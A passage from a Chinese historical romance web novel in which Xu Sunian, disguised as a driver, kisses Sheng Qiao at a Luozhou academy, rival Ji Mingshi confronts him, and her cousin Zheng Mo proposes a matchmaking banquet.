身为大理寺卿,他执掌刑狱多年,做惯了审讯断案的活,从来不会怀疑自己的判断,此时他也应该笃定不疑,可一向高居人上的他,此时竟像一个待审的囚徒,在忐忑不安中,妄图寻求一个准确的答案。
他想知道,但不敢问,怕她落荒而逃,更怕她否认。
徐肃年微微垂眼,试图将盛乔的表情看得再清楚一些,低头忽然瞥到盛乔抵在他肩头的话本,虽然卷成了筒状,却也能瞥见封面的白底黑字——
《红妆劫:贵女与车夫》
这什么乱七八糟的?
徐肃年先是愣了愣,而后想到方才盛乔刚看到自己时的反应,表情又渐渐地变了。
半晌沉默,他主动往后退了半步,语气也跟着低沉下来,“抱歉,是我逾越了。”
一个人如果张牙舞爪惯了,偶一示弱就会让人感觉不自在。
盛乔最见不得他这个样子,心口蓦然软了一块,偏头道:“我也,也没说什么啊。”
徐肃年最擅长的就是乘胜追击,听到她语气软了下来,立刻道:“那小娘子还没告诉我,这衣裳到底丑不丑?”
虽然是追问,可他的语气诚恳,仿佛真的只是想得到一个明确的答案。
盛乔勉强招架,说:“我买的,当然不会丑了。”
徐肃年了然点了点头,故意道:“那就是喜欢了。”
喜欢?
“什么喜欢?”
盛乔骤然瞪大眼睛,敏感道:“谁喜欢了?”
如此反应早在徐肃年的预料之内,他挑了挑眉,无辜道:“我说的是衣裳,难道小娘子不喜欢吗?不喜欢当时为何要买?”
“……衣服?”盛乔后知后觉地想要找补,“那的确,是喜欢的。”
“当然是衣服。”徐肃年寸步不让,紧紧地盯着盛乔的眼睛,“不然小娘子以为我说的是什么?”
24、答案
24.
“当然是衣裳。”
男人步步紧逼,“不然小娘子以为我说的是什么?”
他的语气低沉,仿若厚重的琴音。
太近了,有些太近了,说话时,男人的肩头几乎要触碰到盛乔垂在肩头的发丝。
盛乔想要往后退,却忘了身后就是男人的手。
脊背撞上男人的掌心,温暖的触感吓得她惊呼一声,还来不及逃,就被人一把掌在了怀里。
就算再迟钝,盛乔也感觉到了不对劲,两人已经完全超脱了男女之间本该保持的距离,亲密得有些过分了。
接下来会发生什么?
盛乔心如鼓擂,咚咚咚咚地跳个不停,她不敢再往深了去想,微垂的睫毛抖个不停。
忽的,也不知哪来的力气,她抵在男人肩头的手使劲一推,竟直接把人推开了,而后一句话都没说,径直往屋子里跑去。
房门啪地一声在跟前合上,徐肃年看着盛乔几乎是落荒而逃的背影,顿了一下,没有去追。
见好就收的道理他不是不懂,只是单纯地克制不住自己想要靠近盛乔的欲望。
虽把她惹急了,幸而她未曾真的拒绝。
徐肃年又在原地站了片刻,趁着郑墨还没回来,转身离开了盛乔的院子。
盛乔逃一般地跑回房间,生怕动作慢一点就要被男人捉住,进屋之后立刻锁了房门。
不知为何她竟有些口干舌燥,盛乔捂着双颊,只感觉手心都在发烫。
琥珀上街去买东西了,房间里暂没有热茶,盛乔走到桌边直接倒了杯冷水,咕咚咕咚喝下去,这才感觉扑通扑通的心脏重新恢复了平稳的跳动。
她握着茶杯坐到窗边的美人榻上,忽然做贼心虚似的,悄悄推开了一点窗户,想看看院子里的人到底在干嘛,结果却正见到他离开的背影。
他,走了?
明明是盛乔先将人扔下跑开的,这会儿见到人真走了,心里又说不上来的失落。
明明方才两人之间地距离已经明晃晃地逾越了礼制规矩,可此时看着男人的背影,她忽然又有些不确定了。
手里的话本被她攥得紧巴巴地扔在一旁,盛乔偏头瞅见封皮上的书名,像被刺到似的,忍不住怀疑起自己来。
会不会,只是她想多了呢。
其实徐少安只是心地善良,瞧见她快要撞到柱子上,所以才好心扶了她一把,根本没有任何男女之情的意思。
可如果真的没有那个意思,他干嘛要对自己说那些引人遐思的话……
两种截然相反的想法不停地纠缠拉扯,盛乔感觉自己脑袋好像要坏掉了。
她又在窗前坐了一会儿,便烦躁地关上了窗户,一头扎进了软绵绵的被子里。
琥珀回来的时候,正看到自家小娘子捂着脑袋在床上翻来覆去地滚,她吓了一跳,手里的东西都差点扔下,急忙就往床边冲。
“小娘子,您没事吧……”
盛乔听到声音立刻止住了翻滚的动作,她顶着乱糟糟的头发撑起身子,摇头,“没事。”
可琥珀依然很担心,“您,您的脸怎么这么红啊?不会是染了风寒吧?”
盛乔摸了摸额头,又摸了摸自己的脸,有些沮丧地说:“没有,只是有些担心罢了。”
琥珀又不放心地上前摸了摸她的额头,确定她真的没事才放下了心,问道:“小娘子在烦什么?可是为了那些孩子们的功课?”
自从在洛州落脚之后,又知道了家里要帮她和端阳侯退婚的消息,小娘子近来是吃也吃得好,睡也睡得香,仿佛所有的烦恼都不见了,唯一的情绪波动就是在批改那些孩子们课业的时候。
琥珀合理猜测,盛乔又哪好意思把自己乱七八糟的心思与她讲,于是敷衍着点了点头。
都已经做了女先生了,还是这幅长不大的样子。琥珀忍俊不禁地摇了摇头,拉着盛乔坐起来,说:“好了小娘子,先别烦心了,头发都折腾乱了,我给您重新梳一梳,一会儿还要去前头用午膳呢。”
盛乔心烦意乱,根本没有胃口,本想说不去,又不知想到了什么,点头道:“好。”
济善堂到底是家书院,各个院落的名字也都起的文绉绉的。
好好一个吃饭的地方取名求知斋,盛乔每次过来都要腹诽一番。不过,她今天完全没有了这个心情,匆匆吃完了饭,便打发了琥珀先回去,自己一个人去了男子的斋舍。
徐少安和纪明实共住的院子不算小,院落里的布置也很讲究,但两人几乎从不出现在院子里,平时都是各自闷在房间里。
今日破天荒的两个人都在,徐肃年本在廊下靠着看书,忽见纪明实的书童端着他的笔墨纸砚走了出来。
动静不小,徐肃年抬头看了一眼。
书童将东西摆到石桌上,纪明实紧跟着走到院子里,见徐肃年在廊下坐着,明显也有些意外,“少安兄也在。”
他对徐肃年的态度一向十分温和。
徐肃年不冷不热地点了点头,没说话。
纪明实看着他手里那本《明经要义》,心下微诧,面上却没有表现出来,礼数周到地开口解释:“授课要用,但屋里铺陈不开,这才叫人把东西拿到外头,若有叨扰,还望少安兄见谅。”
徐肃年没说什么,只重新把视线挪回书上。
相处这么久,纪明实早已习惯了他的性子,也没再说什么,走到桌边忙自己的去了。
一卷长而宽的宣纸在石桌上铺陈开来,纪明实提笔蘸墨,姿态认真。
院子很宽敞,两人的距离不近不远,写好的一张从桌旁微微垂下一角,徐肃年偶一抬头,虽然不能将纸上的每一个字都看清,却能清晰地认出他写的是方正无比的楷书。
平日纪明实所授的《说文》与算学两科,但无论哪一科,都不需要用到这些。
只有授书学的盛乔,最近正在教学生们习的就是楷书。
他是在帮盛乔,亦或者是盛乔特意寻他帮忙。
徐肃年正思索着,院外传来脚步声,他抬头看过去,竟然是盛乔不请自来,他下意识将手里的书册收进了袖中。
离得远,盛乔并未注意到他的动作,何况她的视线先被院子中间的纪明实吸引去了。
纪明实见她来了,有些意外,搁下笔走过去,“阿乔,你怎么这个时候过来了?”
盛乔看他桌上的字,“明实哥哥在写什么?”
纪明实笑着说:“上次你不是说给学生做示范的架子太高,课上写起来不方便,我特意给你写了一副。虽说我的楷书不如你,但糊弄一下那群小孩子,想来还是没问题的。”
不过偶然间提过一嘴,盛乔自己都不太记得了,没想到纪明实这么细心。盛乔有些感动,一时不知要说什么,最后只得干巴巴地憋出一句,“谢谢你,明实哥哥。”
“举手之劳罢了。”纪明实温柔地问,“阿乔这时候过来,是找我有什么事吗?”
盛乔的表情有些犹豫。
纪明实藏在袖中的手微微一僵,面上却依旧温和,“还是来找少安兄的?”
“我……”
盛乔的确是来找徐少安的,她的性子简单,心里任何事都藏不住,也不想藏。
徐肃年的用意她猜不透,也不想再纠结,因为纠结到最后,她也不会得到答案。
还不如直接来问他好了。
今天上午的事,他到底是有心,还是无意。
在过来的路上,腹稿已经打了千百遍,盛乔不住地给自己鼓劲儿。
只是没想到纪明实竟然也在,有些话单独能说,可如果院子里还有第三个人在,盛乔就万万说不出口了。
她抿了抿唇,心想要不要改日再来。纪明实却把她的犹豫当成了默认,心头微苦,又没有阻拦的理由。
还是要慢慢来。
他在心里告诉自己,而后对盛乔说:“既然阿乔是找少安兄有事,那我先回避一下,你们聊。”
说着,他拿镇纸压住了刚写好的几副字,便转身回了房间。
盛乔本能地想要否认,不过话还没有说出来,就见徐少安已经朝她走了过来。
不知为何,他的神情有些冷峻,“小娘子怎么来了?”
“我……”盛乔看着纪明实刚刚离开的方向,鼓起勇气说,“我,我是有话要想问你,我们到外面去谈,好不好。”
徐肃年看着她乱飘的眼神,心中怒意更盛。
纪明实都已经躲开了,她还在看什么?
“小娘子有什么话不能在这里说。”徐肃年盯着她的眼神愈发幽暗。
可惜盛乔半点都没察觉,她只是觉得这男人真不上道,这些话怎么能在院子里说,万一要被纪明实听到怎么办。
可看他一副不愿意挪动尊步的模样,盛乔又忍不住有些委屈。
这男人怎么变脸比翻书还快,上午还一副狐狸精的模样,勾的人心动不已。这会换回了平常衣衫,又变回了一块硬邦邦的石头。
她气得恨不得冲上去踩两脚。
可到底是在人家院子,她克制地看了一眼纪明实的房间,木着脸转身,“算了,我走了。”
离开前还要看一眼纪明实。
徐肃年看着盛乔转身离开的背影,沉默了几息,忽的大步追上去,在她彻底走出院子之前拦住了她。
“做什么?”盛乔被拉住手臂,不悦地回头看他。
徐肃年盯着她的眼睛,眼底沉静仿若深海。
看似平静无波,可实际上,海面根本不需要任何借力,就能轻易席卷出一片惊涛骇浪。
“我知道小娘子想问什么。”他一字一顿地开口。
盛乔愣了愣,不敢相信,“你,你竟然知道?”
他怎么会知道?
盛乔下意识地又想往四周看,只是这次还没转过头,就被男人一把托住的下巴。
在她瞪大眼睛的那一瞬间,徐肃年毫不犹豫地吻了上去。
25-30
第25章 初吻在她舌尖上轻压了一下(三章合一……
在真正付诸行动前,徐
肃年其实私下想象过很多次,盛小娘子的嘴唇会是什么触感。
或柔软,或娇嫩,或如饱满的花瓣般馨香勾人。
但现在,当他真正亲到了盛乔的嘴唇,他才意识到,在这一刻,是根本没有多余的精力去思考这些的。
从前他也不明白,男女做了夫妻,唯一的目的不就是生儿育女,繁衍子嗣,为何还要抱来抱去,亲来亲去。
直到他遇到了盛乔,他才明白,亲近对方,是他无法抗拒的本能。
就像现在,他分明没有过与任何一个小娘子亲近的经验,可在他吻下来之后,他所做的一切都是在凭借本能,像是沙漠里渴水的旅人,迫不及待地吮吸着女郎唇瓣上的所有汁水。
原本托在她下巴上的手指也不自觉地向后摩挲,顺着她纤细的脖颈,一直扣在了她的后脑上。
另一只手同样不甘示弱,扶着盛乔盈盈一握的柳腰,把她狠狠地压进了自己怀中。
如此一来,盛乔几乎是被他整个人禁锢在了怀抱之中,无论如何都挣脱不掉。
虽然她根本没有任何挣开的意思。
从男人吻下来的那一刻,她的脑子就已经停止转动了,整个人都处于呆滞的状态。
直到徐肃年尝够了她唇上的滋味,更得寸进尺地想要撬开她的贝齿,长驱直入时,她才终于回过神,抵在男人胸口的胳膊使劲地推了起来。
这不是她第一次做这个动作,先前每一次,她都能轻易地将男人推开。
可实际上,她的那点子力道在徐肃年看来,不过如小猫玩闹,轻得像是在挥着爪子撒娇似的。
只要他不想,任盛乔怎么挣扎都逃不开他的禁锢。
但徐肃年握在她腰间的手还是松开了。
因为盛乔哭了。
徐肃年在女郎唇瓣上轻轻舔舐的舌尖忽然尝到一丝咸味,他停住动作,这才发现盛乔的两边眼眶浮起了红色,浓密的睫毛被泪水打湿,看上去分外可怜。
徐肃年动作一下子僵住,哑声问:“怎么哭了?”
盛乔抬手抹了抹眼泪,“你放开我。”说话间的哭腔十分明显。
徐肃年见此却松了口气,还好是抹眼睛,不是抹嘴巴。
看来她的心里对他没有那么抗拒。
徐肃年缓缓松开了扣在盛乔后脑勺的手掌,从怀中掏出了一块干净的帕子,伸手要去给她擦眼泪。
盛乔下意识地躲开。
徐肃年却强硬地板住她的脸颊,柔软的帕子贴着她红肿的眼眶,说:“你就不怕肿着眼睛回去,被别人看到?”
他还敢说!
盛乔的视线不自觉地往纪明实的房间瞟,实在没忍住,低声骂他:“你混蛋!”
“是,我是混蛋。”徐肃年像接受什么赏赐似的,答得万分坦然,手上动作却没停,“但是现在先别动,让我给你把眼泪擦干净。”
男人托着她下巴的动作不算用力,却莫名带着一股子强硬的味道。
盛乔不想闹出太大动静,干脆由着他动作。
可她实在太委屈了,还有些害怕,加上大庭广众之下的难堪,眼泪根本没有停下的意思。
徐肃年越擦眼泪越多,原本干燥的帕子这会儿都要被盛乔的泪水浸透了。
最后他实在没办法,顿住动作,柔声哄道:“别哭了,一会儿被风吹了眼睛疼。”
盛乔瞪他:“那你别碰我,让我回去。”
徐肃年只当没听见,自顾自地哼了一声,说:“眼下只有这一个帕子,已经湿透了,你若是再哭,我只能替你舔干净了。”
盛乔:“……!”
他他他,他怎么能面不改色地说出这么下流的话!
从前她真的是看错他了!
再顾不得这院子里还有纪明实,盛乔捂住耳朵想要尖叫,却被人先一步捂住嘴巴。
“小娘子,你是想被纪明实听到吗?”徐肃年语气有些严肃。
当然不想!
可这话盛乔没说出来,只控诉似的看着他。
捂在她唇上的手掌不算很用力,盛乔看着他身后紧闭的房门,嘲讽道:“原来你还怕被人听到。”
“我怕什么?”
徐肃年轻勾了勾唇角。
他方才之所以会这般冲动,就是因为纪明实也在。
虽然他已经回了房间,房门也关上了,但徐肃年确定,他一定看到了方才发生的一切。
明明看到了,可他宁可将自己的掌心掐烂,也不敢在这个时候站出来阻拦。
是不敢面对,还是怕盛乔难堪?
无论哪种原因,他都不值得徐肃年再把他放在眼里。
可对着盛乔,徐肃年说:“我当然不怕,只是想要维护小娘子的面子罢了。”
盛乔根本不相信他说的话,生气道:“那你方才还,还……”
她说不出口,艳丽的绯红顺着耳尖一直蔓延至白净的脖颈,为她原本纯净的面容平添了几分娇娆妩媚。
徐肃年实在坏透了,在这个时候仍旧不肯退让,反而倒打一耙地说:“这不是小娘子想要的吗?”
“你在胡说什么!”盛乔急切地反驳。
徐肃年像只温柔的狐狸,循循善诱道:“小娘子今日来找我,说有话想问,其实是想问什么?”
怎么又忽然说起这个,盛乔的脑袋里早就已经蒙了,从男人亲了他后,她就只是凭借本能在反应了,这会儿听了他的话,立刻被牵着鼻子走偏,竟当真开始回忆起来。
她今日来找徐少安,是想问什么来着?
原本的想法已经七零八散,盛乔艰难地把它们捡起来拼合在一起,终于想起了自己此行过来的目的。
她是想问一个答案。问徐肃年上午为何要那么做,为何要和自己那般亲近。
可眼下这光景,这话又怎么还问得出口。
见她支吾不答,徐肃年也没催促,反而慢条斯理地替她把答案说了出来,“小娘子是想问我,上午与你那些亲近的举动,到底是什么意思,是不是?”
盛乔的心思被他分毫不差地猜中,一时有些恼羞成怒,急忙否认道:“根本不是!”
“不是吗?”
徐肃年毫不气馁,“那我上午离开你院子的时候,是谁在窗边偷偷看我?”
“眼下分明是用午膳的时间,小娘子又何必连用膳都用不踏实,急匆匆就跑到我这里,说有事想要问我。如此急切,小娘子到底是想得到一个什么样的答案。”
他怎么会什么都知道?
盛乔震惊之余还有些莫名的慌乱,可又实在找不出理由再反驳,干脆破罐子破摔地说:“就算是又怎么样?就算我想问这个,你,你也不能亲我啊!”
她终于把那个字说出了口,徐肃年微不可察地压了压上扬的唇角,说:“这不就是小娘子想要的答案吗?”
盛乔被这人的厚脸皮惊到了,一时竟不知要说什么,只是眼睛依旧瞪得圆圆的,似乎是在用眼神骂他厚颜无耻。
徐肃年毫不生气,反而慢条斯理地解释起来,“我与小娘子几次亲近,出门同行,骑马同坐,便是我的手腕,小娘子都不知道摸了多少次,胸口也不知道靠过多少次。”
“如此亲密关系,若是在京城,我早就是小娘子的枕边人了。”
说着说着,他的语气里竟然还带上了一点委屈,面上的表情甚至都卑微了起来,“可我深知小娘子出身高贵,不敢高攀,小娘子却没有半分要与我疏远的意思,我也着实苦恼。”
“毕竟小娘子于我有恩,一番厚爱更是不敢辜负,我这才大着胆子回应小娘子的喜欢。”
“可没想到,小娘子却要来问我为什么?”
“你我二人都已经那般亲近了,小娘子竟还要揣着明白装糊涂。”
徐肃年大言不惭,一句接着一句说得甚是坦然,“我是个老实人,不曾与其他女郎接触过,也是被逼无奈才选了这样一个办法。”
说着,像是怕盛乔不明白似的,徐肃年还特意伸手点了点盛乔的嘴唇。
而盛乔早就
被他这一连串的话砸懵了,心下乱糟糟的,以至于忘了要躲开。
她的两片唇刚被男人毫不留情地啃。咬过,本就足够红润的唇瓣竟带着一些隐隐的肿/胀,原本是没有感觉的,可此时骤然被男人粗粝的指腹划过,又痒又痛的酥麻感瞬间传遍全身。
那感觉很奇怪,盛乔几乎是下意识地就抿住了下唇,她本是想将唇瓣收回去,不料竟阴差阳错地含住了男人贴在她唇珠上的指尖。
这下两个人都愣住了。
盛乔完全不敢相信自己刚刚做了什么,微张着双唇,傻愣愣地不知道要做什么。
徐肃年也是一怔,而后毫不掩饰地笑起来,他的掌心托着少女红润的脸蛋,指腹深入,挑逗般地在她舌尖上轻压了一下。
“虽然这法子极端了些,但也很管用是不是?”
他虽然收回了手,被盛乔含过的指尖却暧昧地摩挲了两下,“小娘子明白了我的答案,我也明白了小娘子的答案。”
他眸色幽深,直白地像是在宣告,“你喜欢我这么对你。”
盛乔从小到大都没经历过这么羞耻的事情,长睫一眨,眼看又要落下泪来。
这次徐肃年早有准备,但他没用帕子,当真如方才所说的那般,直接倾身吻了上去,双唇轻抿吮去她将落未落的泪珠,轻柔得仿若羽毛飘过。
是喜欢吗?
盛乔竟真的思考起来。
可她的脑袋已经转不动了,因为今日发生的一切已经完全超出了她原本的认知,盛乔觉得自己下一瞬就要晕过去了。
她该逃跑吗?还是该将他推开?
盛乔不知道。
这时,眼前男人毫不迟疑地将她抱住,拥入怀中,轻飘飘的思绪仿佛一下子有了依托,盛乔晕乎乎地看着他。
徐肃年也知道,对于盛乔来说今天的一切都有些太超过了,说再多的话她也不会记住。
正巧此时济善堂多数人都在求知斋用膳,这时候出去应该不会遇到什么人,徐肃年看着院外,说:“算了,我先送你回去。”
盛乔当真乖乖地跟着他走,没有半点要反抗的意思。
为防遇到旁人,徐肃年特意走的是一条小路,一路回去果然没有别人。
将盛乔送回去后,徐肃年心情大好,本想离开济善堂继续处理公事,忽又不知想到了什么,调转脚步重新回到了院子。
不出预料,纪明实已经从屋子里走了出来,他站在石桌前,却没有写字的意思,反而怒气冲冲地盯着徐肃年。
徐肃年只当没看见,继续往自己的房间走。
纪明实已经快要气炸了,他完全没想到,这人对阿乔做了那般过分的事,居然还能面不改色,仿若什么事都没发生过一样。
他却忍不住了,直接冲上去将他拦住,“你站住!”
徐肃年顿住脚步,懒散地撩了下眼皮,看着他没说话。
他此时的气场和在盛乔面前时完全不同,纪明实看着他,不由得有些发怔,转而又愈发愤怒起来。
他在阿乔面前时的样子,难道一直都是他装出来的?
那他接近阿乔,到底是有什么目的。
纪明实死死地盯着他,也没有耐心再与他打机锋,上前直接质问道:“徐少安,你可知道阿乔的身份?”
“不知。”徐肃年言简意赅地否认。
他会不知?
纪明实不相信,但也知道现在不是深究的时候,便也没再追其究竟,只道:“无论你知不知道,阿乔的身份都是你碰不得的。”
徐少安对他的这番论调并不意外,不冷不热地笑了笑,反问似的哦了一声。
他这反应明显不当回事,纪明实心中更是恼火,“阿乔性子单纯,不懂男女之情,这才会被你哄骗,但就算如此,盛伯父和盛伯母也不会答应的。”
“男子汉大丈夫,该行得正坐得端,若要富贵,自己谋求才是正道,想借着男女之情攀附阿乔,实在令人鄙夷。”说完这话,纪明实又上下将徐肃年打量了个遍,语气也跟着缓和下来,“最近这段日子,我和少安兄也算在同一个屋檐下相处过了,不说深交,也是有些交情。”
“虽然少安兄出身不好,但我知你是有些本事的,只凭自己也能过上不错的日子,实在没必要利用阿乔一个小姑娘,你说是不是?”
徐肃年原本的打算,是无论纪明实说什么,都不必理会他。
但现在听到他的话,忽然又改变了主意。
“纪郎君说得对。”
相处这么久,这时徐肃年第一次用这般客气的语气和纪明实说话。
纪明实自己都不免愣了一下,但见他能把自己的话听进去,心下也是松了口气,正要顺水推舟再说几句,未料他又接着道——
“但我人微言轻,一切都听小娘子吩咐。”
这话冷飕飕的,可纪明实莫名听出几分炫耀,气得咬牙,“你!你是男子,怎可把这些事都推到阿乔一个女郎身上,实在是,实在是不知廉耻!”
读书人到底文雅,气成这样也说不出什么难听的话来。
徐肃年心中冷哼,面上却故意做出一副无辜的模样,解释道:“男女之情又不是一个人能生出来的,纪郎君今日劝我,我听了,但我也说了,这件事我全凭小娘子吩咐,纪郎君若是实在看不过眼,不若去找小娘子理论,劝她不要再亲我了。”
他就那么大喇喇的把两人间的事说了出来,说完,还装作无意地抹了抹唇,而后径直离去。
纪明实看着他拂袖的背影,气得心肺都要炸开了,直恨不得冲上去给他两拳。
但徐少安一看就是有武艺在身的,纪明实心中有自知之明,知道自己什么都做不了。
最后只站在院子里看了很久,终于也走了。
其实他这番话说得也未尝没有道理,阿乔现在被他蛊惑,只怕自己都不知道自己在做什么-
两个男人间的争执,盛乔自是全然不知的,甚至她最后到底是怎么回到自己房间的,盛乔都已经不太记得了。
她只记得最后徐肃年临走前和她说:“答应我,今晚好好想一想。”
一改先前的强势,这时候的徐肃年忽然又变得异常温柔,“想想你到底喜不喜欢,想想你为什么没有拒绝。”
她是怎么回应的来着?
盛乔有些想不起来了。
在男人离开之后,她一刻也没有停顿地将自己埋进了被窝,连琥珀来叫门都没有理会。
明明已经过去很长时间了,可是唇上似乎还一直残留着男人手指的温度,盛乔将自己藏在被子里,仗着无人看见,偷偷伸出一根手指去摸自己的嘴唇。
她学着男人下午的动作,压着下唇蹭了蹭,却没有任何酥麻感,只有隐约的胀痛。
怎么会这样?
像在做什么大事似的,盛乔郑重其事地又压着指尖按了按,然后闭着眼认真体会了一下。
还是没感觉。
她忽然想起男人的话,难道,她真的喜欢徐少安亲她?
不会吧。
盛乔捂着忽然飞快跳动起来的心脏,很不愿意相信。
或许是因为,当时她当时还懵着,还没反应过来,所以有那样的举动很正常。而且,她从来没有遇到过这样的事……
盛乔想着想着,很快就把自己哄好了。
但眼睛还红着,被琥珀看到了无法接受,她看了看角落的漏刻,才过午时,她干脆落了床帐躺下。
天塌下来也睡一觉再说。
盛乔哭了半晌,又被徐少安吓得晕晕乎乎的,早就累了,脑袋钻进被子里,没一会儿就睡着了。
可她睡得并不沉,没一会儿就乱七八糟地做起梦来。
梦里,她回到了长安,与徐少安初遇的那一天。
男人坐在马车上闭目养神,她不知里面光景,挑开车帘走过去,见到有人,立刻愣住了。
“你……”
她爬上马车的动作顿住,男人却没像初见时那般不动声色,反而从座位上
站了起来。
“你要做什么?”
梦里的盛乔敏锐地察觉到危险,本能想要后退,却被男人一把拉住手腕,俯身亲了下来。
男人那么高,胸膛那么硬,嘴唇竟然也是软的。
盛乔该躲开的,可她实在太好奇了,竟然像品菜似的,认真地品鉴起来。
那是很奇怪地一种感觉,她被人圈在怀中,身后不知抵着什么,硌得她有些不舒服,而身前男人的怀抱实在太温暖,太温柔了。
盛乔情不自禁地往他身上靠,“徐……”
后两个字没说出来,因为盛乔很快就被自己惊醒了。
她嚯地一下从床上爬起来,眼底还在发蒙,呆呆地坐了半晌,她毫不留情地伸手去掐自己的手臂。
她没收着劲,眼泪直接被疼出来了,强忍着才没有叫出声来。
现在她是醒着的,那刚才呢,刚才是她是在做梦吗?
她怎么会做这么乱七八糟的梦。
盛乔无法接受,拉高被子,再度把自己藏了起来。
她一辈子都不想在被窝里出来了,一辈子都不想见人了!
可偏偏事与愿违。
盛乔才刚又把脑袋埋进枕头里,外间忽然响起了敲门的声音。
本以为是琥珀,盛乔抬起头朝外面喊:“我真的没事,只是太困了,琥珀你也回去休息吧。”
没想到门外传来的却是郑墨的声音:“阿乔,是我。我有事要与你说。”
听语气应当是正事了,盛乔只得从床上爬起来,走过去开了门。
一见到她,郑墨就被她这模样吓了一跳,担心道:“阿乔,你不是染了风寒吧?怎么脸这么红?”
怎么和琥珀一个语气,有这么明显么?
盛乔拿手背贴了贴发烫的脸颊,一边关上房门,一边摇了摇头。
“可……”郑墨皱起眉,她还是不放心,“我让琥珀去找个大夫来给你瞧瞧。”
盛乔连忙拉住她的胳膊,“真没事!”
她指了指方才被她折腾得乱糟糟的被子,胡编道:“大约是房间里太闷了,我刚才睡觉时又把脸压在了被子里。”
她语气认真地强调,“表姐,真的不用找大夫,我真的没事!”
郑墨却不像琥珀那么好糊弄,狐疑的眼神在她身上扫来扫去,直把盛乔看得浑身不自在。
她担心自己露了馅,会被郑墨觉察到自己下午做的事,忙拉着她到窗边坐下,然后技巧拙劣地转移话题,“表姐说有事对我说,是什么事?”
其实过了这么久,盛乔唇角被啃咬出的痕迹早就消退了,只是脸上还有绯红未散。
郑墨看了半天也没看出什么来,只得放过盛乔。
她从袖中掏出一封请帖,递给盛乔,“瞧瞧。”
“这是什么?”盛乔伸手接过,先看到请帖上面盖着的官府文印,奇怪地问,“怎么是洛州府的请帖?”
郑墨示意她打开亲自瞧瞧。
盛乔打开一看,原来是给郑墨的请帖,邀她下个月初到洛州府衙赴宴,落款孟畴。
“这是……”盛乔想了半天,也不明白郑墨为何要把这帖子递给她看。
“孟畴孟大人,是絮娘的兄长,如今在洛州府任司功参军,主管府学科举之事,我们这济善堂能办起来,还要多亏了孟大人的支持。”
盛乔隐约有些懂了些,“是因为我们的济善堂办的不错,官府也满意,所以才特意请你代表济善堂去赴宴领赏吗?”
“差不多就是这个意思。”
郑墨说:“官府之所以会操持这次宴会,是因为朝廷派了巡抚过来,官府这时候请我们去,也又向巡抚大人表功的意思。因此,宴上一定不会只有我和絮娘两个人,还会宴请一些洛州籍的举人,比如纪明实,他也收到了帖子。”
可这和她有什么关系?盛乔还是不明白,眨巴着眼睛去看郑墨。
就知道她不懂,郑墨看着她清澈如水的眸子,心里深深地叹了口气。
她实在是被盛乔上次的那番话吓到了——
“出身不重要,穷也不要紧,我有钱就好了,反正阿爹阿娘会给我准备很多嫁妆的。”
郑墨听得出来,自己这表妹是一朝被蛇咬十年怕井绳,当真不想嫁入高门了。
可就算不是门当户对,也不能相差太大罢,像徐少安这个车夫,就实在不是良配。
她只得再解释地明白一点,“既是表功,请的自然都是青年才俊,虽然他们现在只是举人,但明年就有春闱,若他们最后中了举,也算的上是年轻有为了。正巧你也要和徐肃年退婚,不如这次随我一同赴宴,先挑上一挑,如何?”
这回盛乔总算听明白了,她眨巴着水润的大眼睛,“表姐,你是要为我相看夫君?”
其实郑墨也不确定盛乔到底能不能看上那些人,只是不希望她的目光只局限在徐少安一个人身上。
郑墨说:“表姐只是想告诉你,你其实还有很多选择,洛州虽比不上长安,却也从不缺年轻俊朗的好郎君,若是喜欢,便是成就了一桩没事,若是不喜欢也没关系,我们再换下一个就是了。”
这话说得洒脱,可盛乔总觉得她话中有话似的,可她又听不出其中真意,含含糊糊地点了点头。
见她点头,郑墨很是高兴,“阿乔,你这是答应了?”
不料盛乔却又犹豫起来。
郑墨只看她的表情,就是心中一沉,生怕她忽然对自己坦诚说其实她喜欢的是徐少安。
还好盛乔只是抿了抿唇,然后问她:“表姐,你有喜欢过什么人吗?”
没想到她会问这个,郑墨一愣,摇了摇头。
虽然不如盛家繁盛,但郑家也不是什么小门小户,祖上几代为官,且官职都不小。
尤其是郑墨的祖父,盛乔的外祖父,曾做到过内阁次辅,虽然后来因得罪朱家被贬到了洛州,却没有半点消减祖父为君为民的雄心。
且因为他曾受了屈,就更是督促子孙后辈勤学苦读,势必要他们进得朝廷,为郑家洗刷耻辱。
在这样的家风之下,家中的男子自然更得祖父的喜爱,更郑墨身为女子,第一次单独与祖父说话,竟然是祖父要把她推出去联姻。
那年她才十四岁。
和同辈的几个兄弟一样,她也是自幼苦读四书五经,懂得的知识并不比他们少,甚至她在学堂的成绩,比两个哥哥都要强。
可就因为她是女子,不能入朝为官,不得祖父重视。
郑墨当然不会接受联姻,她很冷静地筹备了逃婚计划,顺利离开了郑家。
现如今已经过去了五六年,家里的态度早已软化,但郑墨心里一直有个结,很少回家。
想到这些,郑墨心中也是有些酸涩,她以为盛乔是不喜自己的这番安排,所以才会问这些。
郑墨解释道:“表姐不是要安排你什么,只是你的情况和我不一样。虽然我不知道姑父姑母先前为何突然要和丹宁长公主家结亲,但我知道,他们一向是最疼你的,一定是有什么不得已要把你嫁出去的缘由,所以才会行此下招。”
早在郑墨刚开口,盛乔就知道她想偏了,本想出言打断,听到她接下来的话,又闭嘴听了下去。
“阿乔你想,连姑父这样的身份地位,都不能妥善解决的事,会是怎样的难题。”
盛乔不知政事,不懂朝政,郑墨却是知道一些的,对于姑姑和姑父此举的原因也能猜到一些。
但她并不想让盛乔心中负担,因此并没有要告诉她的意思,只是接着道:“我猜,这件事最终解决的途径,大约还是要把你尽快嫁出去,也正是因此姑父才会答应让你留在洛州,未尝没有拖延的意思。”
“长安到底什么情况,我们谁也不知道,若你能在洛州寻一桩好亲事,岂不是皆大欢喜了?”
刚离开家的时候,盛乔心里的确很怨恨阿爹阿娘,不明白他们为何要这般对待自己,但后来看到了阿爹寄来的信,也明白了这背后一定是有原因的。
她虽然不了解朝政,却了解她的爹娘。
此时听到郑墨的话,盛乔乖乖地点了点头,说:“好表姐,我知道
你也是对我最好的了。”
小表妹就是可爱啊。郑墨感叹地揉了揉女郎软乎乎的脸蛋,说:“那你这回是要答应了?”
不想盛乔仍旧一副纠结的表情。
郑墨终于觉察出不对,问:“阿乔,你是不是有什么事瞒着我。”
没想到表姐的直觉竟然这般敏锐,盛乔吓了一跳,心虚地使劲摇头。
她当然不会把徐少安的事说出来,只是她自己也不确定,她对徐少安到底是一种什么感觉。
那真的是喜欢吗?
她不确定。
盛乔不喜欢这种患得患失看不到答案的感觉,琢磨半天,还是开口问了郑墨。
“方才的问题表姐还没回答我呢。”盛乔试图旁敲侧击,“喜欢一个人,到底是什么感觉。”
郑墨目露怀疑,“你怎么问这个?”
